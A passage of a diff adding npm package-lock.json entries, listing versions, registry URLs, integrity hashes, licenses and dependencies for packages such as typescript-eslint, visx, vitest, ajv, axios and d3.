"sha512-ewfspqWvSxKSOaplqAUNbaSFO0eB6w1EtQ+esfYFRm3614Ty4uNtExkcbgd6nWsXphbqKyf9ZYdbZdv2xEoWEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.69.0", + "@typescript-eslint/visitor-keys": "8.69.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.69.0.tgz", + "integrity": "sha512-xNqK7YTDZsLniQMV/4rpFR8Z5JlqeRvVjuG1YgF/mdPVH84HSD19L8CczMA0qg2RfwEV231GHH3VnToJDo4MfQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.69.0.tgz", + "integrity": "sha512-ZfoJAVg3JZndQEpEl9petVlxau3lRuElc4HRMuAlLCf8to04/iHz692RUSNmXKDjEuJmIL+KZ2/BsOcBc16dsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.69.0", + "@typescript-eslint/typescript-estree": "8.69.0", + "@typescript-eslint/utils": "8.69.0", + "debug": "^4.4.3", + "ts-api-utils": "^2.5.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.69.0.tgz", + "integrity": "sha512-K3VrubUPhlo9VDBS6QdI8YB5j7ClpqLRdefcz6PFrhnwicehBweqQ9Evhl4l+FYz0HdDmMqIiSX0aldGRYtDCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.69.0.tgz", + "integrity": "sha512-AdFkgqck3Vudb/kWnxlyafU/4aBhHrbQ9locP2N4psXTy5mOBg0SHJumnLvx7r6g1gV4DKvUFwV2nJZBoqOD8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/project-service": "8.69.0", + "@typescript-eslint/tsconfig-utils": "8.69.0", + "@typescript-eslint/types": "8.69.0", + "@typescript-eslint/visitor-keys": "8.69.0", + "debug": "^4.4.3", + "minimatch": "^10.2.2", + "semver": "^7.7.3", + "tinyglobby": "^0.2.15", + "ts-api-utils": "^2.5.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.69.0.tgz", + "integrity": "sha512-tUbx60BBqQa31kXF5MCsOOLL5E/WzUuxIn7YpAvq+eaUlqvk8/NXnXMBNAdLCr0icjkzem7iUA5QqWHe/hJ1aw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.9.1", + "@typescript-eslint/scope-manager": "8.69.0", + "@typescript-eslint/types": "8.69.0", + "@typescript-eslint/typescript-estree": "8.69.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.69.0.tgz", + "integrity": "sha512-+rmdgPA+EXkNgKYvHvFfhrs35utXbwaC5PGpDquSXcoXQDKUA5UjV0LmTucG/4JXkM31BTu4TilHtrN8IVBe8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.69.0", + "eslint-visitor-keys": "^5.0.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@visx/curve": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/curve/-/curve-4.0.1-alpha.0.tgz", + "integrity": "sha512-jRu61Uz274pV1zyioXmboyrLutYbnKsgjj4njSGCnhdXj5GkZvZbg+ThDb6oOzoAnJOBRLz4rzPlWvNJOzuVMg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@visx/vendor": "4.0.0-alpha.0" + } + }, + "node_modules/@visx/event": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/event/-/event-4.0.1-alpha.0.tgz", + "integrity": "sha512-EQqCMSv/s8NbFjo+hz3FKsvvYfP+2QslsFJ/24/O5l/W+7UC6J6aAvO0ujVwrTwdYbuQ+vhxKi1xdPdKR/qj1g==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/react": "*", + "@visx/point": "4.0.1-alpha.0" + } + }, + "node_modules/@visx/grid": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/grid/-/grid-4.0.1-alpha.0.tgz", + "integrity": "sha512-rycutGmTHO+znNdPumheWMglm7YfpffvRwUkVy5zy4WoORIuKTMkDxwnOzHG2xMxU3EE/YCd37xFV5AxA30yeg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/react": "*", + "@visx/curve": "4.0.1-alpha.0", + "@visx/group": "4.0.1-alpha.0", + "@visx/point": "4.0.1-alpha.0", + "@visx/scale": "4.0.1-alpha.0", + "@visx/shape": "4.0.1-alpha.0", + "classnames": "^2.3.1" + }, + "peerDependencies": { + "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" + } + }, + "node_modules/@visx/group": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/group/-/group-4.0.1-alpha.0.tgz", + "integrity": "sha512-V19l7iQ7jccBv8kao/EByuI6o4xtxzzLV9nqVI1hRvmdzTVsuLpqlwzYCZUXJaTVvUWf8s4D2SQFjGkj/Nw+0w==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/react": "*", + "classnames": "^2.3.1" + }, + "peerDependencies": { + "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" + } + }, + "node_modules/@visx/point": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/point/-/point-4.0.1-alpha.0.tgz", + "integrity": "sha512-ijTfr/Nx09f03vIj9nyTr3z4Xth4Y75427UaogJh6dnIRLMEFHQOwNu791sbfiNj0a+ZXuaE32h0vKrFe4/8Qg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@visx/responsive": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/responsive/-/responsive-4.0.1-alpha.0.tgz", + "integrity": "sha512-o+1zGywQZY0+yOx3Iw87wc4bbPJRr/HnIukTwfOz4UVyj9pB1OQNVHB7OORO1+LBHJceWpB31co/ZV9KHncKrA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/lodash": "^4.17.13", + "@types/react": "*", + "lodash": "^4.17.21" + }, + "peerDependencies": { + "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" + } + }, + "node_modules/@visx/scale": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/scale/-/scale-4.0.1-alpha.0.tgz", + "integrity": "sha512-nzjeE87vFSAXGWFiiNfBpNLAf0Q8Qmf6syvKLjqNi4kGZkdhbUll3E/59YsgWXmjM8+llPLWzGsP+JPvo5eq1A==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@visx/vendor": "4.0.0-alpha.0" + } + }, + "node_modules/@visx/shape": { + "version": "4.0.1-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/shape/-/shape-4.0.1-alpha.0.tgz", + "integrity": "sha512-62QeiVNmPlterQGwhkEDcbq7M0MqY0lBsK5QKXtM9ZoPZWkuGV3aykA3+Xu20B2FAvyJq4LqJzBc7Sxr+EAdbA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/lodash": "^4.17.13", + "@types/react": "*", + "@visx/curve": "4.0.1-alpha.0", + "@visx/group": "4.0.1-alpha.0", + "@visx/scale": "4.0.1-alpha.0", + "@visx/vendor": "4.0.0-alpha.0", + "classnames": "^2.3.1", + "lodash": "^4.17.21" + }, + "peerDependencies": { + "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" + } + }, + "node_modules/@visx/vendor": { + "version": "4.0.0-alpha.0", + "resolved": "https://registry.npmjs.org/@visx/vendor/-/vendor-4.0.0-alpha.0.tgz", + "integrity": "sha512-6I+MuqXBcv9jnlcVowHoHKSdk9gXTWkHLKyqBwRWg7LY6A3Ei8SHfubpqGV5rBUSppxMq2RszPJUS6w+H0YgmQ==", + "devOptional": true, + "license": "MIT and ISC", + "dependencies": { + "@types/d3-array": "3.0.3", + "@types/d3-color": "3.1.0", + "@types/d3-delaunay": "6.0.1", + "@types/d3-format": "3.0.1", + "@types/d3-geo": "3.1.0", + "@types/d3-interpolate": "3.0.1", + "@types/d3-path": "3.1.1", + "@types/d3-scale": "4.0.2", + "@types/d3-shape": "3.1.7", + "@types/d3-time": "3.0.0", + "@types/d3-time-format": "2.1.0", + "d3-array": "3.2.1", + "d3-color": "3.1.0", + "d3-delaunay": "6.0.2", + "d3-format": "3.1.0", + "d3-geo": "3.1.0", + "d3-interpolate": "3.0.1", + "d3-path": "3.1.0", + "d3-scale": "4.0.2", + "d3-shape": "3.2.0", + "d3-time": "3.1.0", + "d3-time-format": "4.1.0", + "internmap": "2.0.3" + } + }, + "node_modules/@visx/vendor/node_modules/d3-array": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.1.tgz", + "integrity": "sha512-gUY/qeHq/yNqqoCKNq4vtpFLdoCdvyNpWoC/KNjhGbhDuQpAM9sIQQKkXSNpXa9h5KySs/gzm7R88WkUutgwWQ==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@vitest/mocker": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-5.0.0.tgz", + "integrity": "sha512-66PGTMIiVJP3t4a5yxU9qPtf7MdTBs8jmToMvy+HVflB3Yy13WJZTtPePdvU+wjRV02SKK5doLbSA6o9pwOmiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "0.3.31", + "@vitest/spy": "5.0.0", + "estree-walker": "^3.0.3", + "magic-string": "^1.2.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "msw": "^2.4.9", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "msw": { + "optional": true + }, + "vite": { + "optional": true + } + } + }, + "node_modules/@vitest/spy": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-5.0.0.tgz", + "integrity": "sha512-uy+luWBAPw9XfthoHi5AkfHUnuPYEESjl0p/r+meoBnU8bxg5GDQ3Ey8MjcJ6sqahkL4PFyrvfMJJBw7LbU06g==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "license": "MIT", + "dependencies": { + "event-target-shim": "^5.0.0" + }, + "engines": { + "node": ">=6.5" + } + }, + "node_modules/abstract-logging": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/abstract-logging/-/abstract-logging-2.0.1.tgz", + "integrity": "sha512-2BjRTZxTPvheOvGbBslFSYOUkr+SjPtOnrLP33f+VIWLzezQpZcqVg7ja3L4dBXmzzgwT+a029jRx5PCi3JuiA==", + "license": "MIT" + }, + "node_modules/acorn": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.18.0.tgz", + "integrity": "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/ajv": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz", + "integrity": "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", + "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==", + "license": "MIT", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats/node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/assertion-error": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/atomic-sleep": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/atomic-sleep/-/atomic-sleep-1.0.0.tgz", + "integrity": "sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==", + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/avvio": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/avvio/-/avvio-9.3.0.tgz", + "integrity": "sha512-g2tQ7LE7oOSqDfwEm3M+ZCMTJc7KiZCdJ4UwyZJb5ckTKyYu50OYmvv0mCFXPuYXoM4zkSt8zM9XQ9KCvxA74A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT", + "dependencies": { + "@fastify/error": "^4.0.0", + "fastq": "^1.17.1" + } + }, + "node_modules/aws-ssl-profiles": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/aws-ssl-profiles/-/aws-ssl-profiles-1.1.2.tgz", + "integrity": "sha512-NZKeq9AfyQvEeNlN0zSYAaWrmBffJh3IELMZfRpJVWgrpEbtEpnjvzqBPf+mxoI287JohRDoa+/nsfqqiZmF6g==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/axios": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.18.0.tgz", + "integrity": "sha512-E32NzpYKp++W7XRe52rHiXV2ehxmh3wbdgO7MHeFM+vqxLBYHzt0ElkiImtOBxtOmyp0yoC8C6uESVV84Y2/hw==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.16.0", + "form-data": "^4.0.5", + "https-proxy-agent": "^5.0.1", + "proxy-from-env": "^2.1.0" + } + }, + "node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/better-result": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/better-result/-/better-result-2.10.0.tgz", + "integrity": "sha512-oQhh0y1qo2/ZKdAAEvHZAqKKiHOFU5k/bW96fE2ScgQOVkJRiHwB+nOS1SgFsYqRlxMDWvefXi9Q3px7QvgNDw==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/bignumber.js": { + "version": "11.1.5", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-11.1.5.tgz", + "integrity": "sha512-6WmzCNtUnfKpbozq+hOgWaZMMzORmYBwF1xZScyoIX3QRYWeKTtxxwDOW5tIz7C9BdjkIYHGTcelCLkXg0mndw==", + "license": "MIT" + }, + "node_modules/brace-expansion": { + "version": "5.0.9", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.9.tgz", + "integrity": "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==", + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/c12": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/c12/-/c12-3.3.4.tgz", + "integrity": "sha512-cM0ApFQSBXuourJejzwv/AuPRvAxordTyParRVcHjjtXirtkzM0uK2L9TTn9s0cXZbG7E55jCivRQzoxYmRAlA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "chokidar": "^5.0.0", + "confbox": "^0.2.4", + "defu": "^6.1.6", + "dotenv": "^17.3.1", + "exsolve": "^1.0.8", + "giget": "^3.2.0", + "jiti": "^2.6.1", + "ohash": "^2.0.11", + "pathe": "^2.0.3", + "perfect-debounce": "^2.1.0", + "pkg-types": "^2.3.0", + "rc9": "^3.0.1" + }, + "peerDependencies": { + "magicast": "*" + }, + "peerDependenciesMeta": { + "magicast": { + "optional": true + } + } + }, + "node_modules/cacheable": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/cacheable/-/cacheable-2.5.0.tgz", + "integrity": "sha512-60cyAOytib/OzBw1JNSoSV/boK1AtHryDIjvVBk7XbN4ugfkM3+Sry7fEjNgPMGgOjuaZPAp8ruZ0Cxafwyq9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cacheable/memory": "^2.2.0", + "@cacheable/utils": "^2.5.0", + "hookified": "^1.15.0", + "keyv": "^5.6.0", + "qified": "^0.10.1" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/chai": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", + "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/chokidar": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-5.0.0.tgz", + "integrity": "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "readdirp": "^5.0.0" + }, + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/classnames": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz", + "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", + "dev": true, + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "14.0.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", + "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", + "license": "MIT", + "engines": { + "node": ">=20" + } + }, + "node_modules/confbox": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.2.4.tgz", + "integrity": "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/content-disposition": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-3.0.0.tgz", + "integrity": "sha512-ZH/0Xs9rMIFWCOmGdmS9eHBTF62qqQYNz4nVjQhkdIO/a0fCP4UIM3mRz/wiqL0L14YgAz/1xio4OaSY4+ON/A==", + "license": "MIT", + "engines": { + "node": ">=22" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cookie": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", + "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-delaunay": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-6.0.2.tgz", + "integrity": "sha512-IMLNldruDQScrcfT+MWnazhHbDJhcRJyOEBAJfwQnHle1RPh6WDuLvxNArUju2VSMSUuKlY5BGHRJ2cYyoFLQQ==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "delaunator": "5" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", + "integrity": 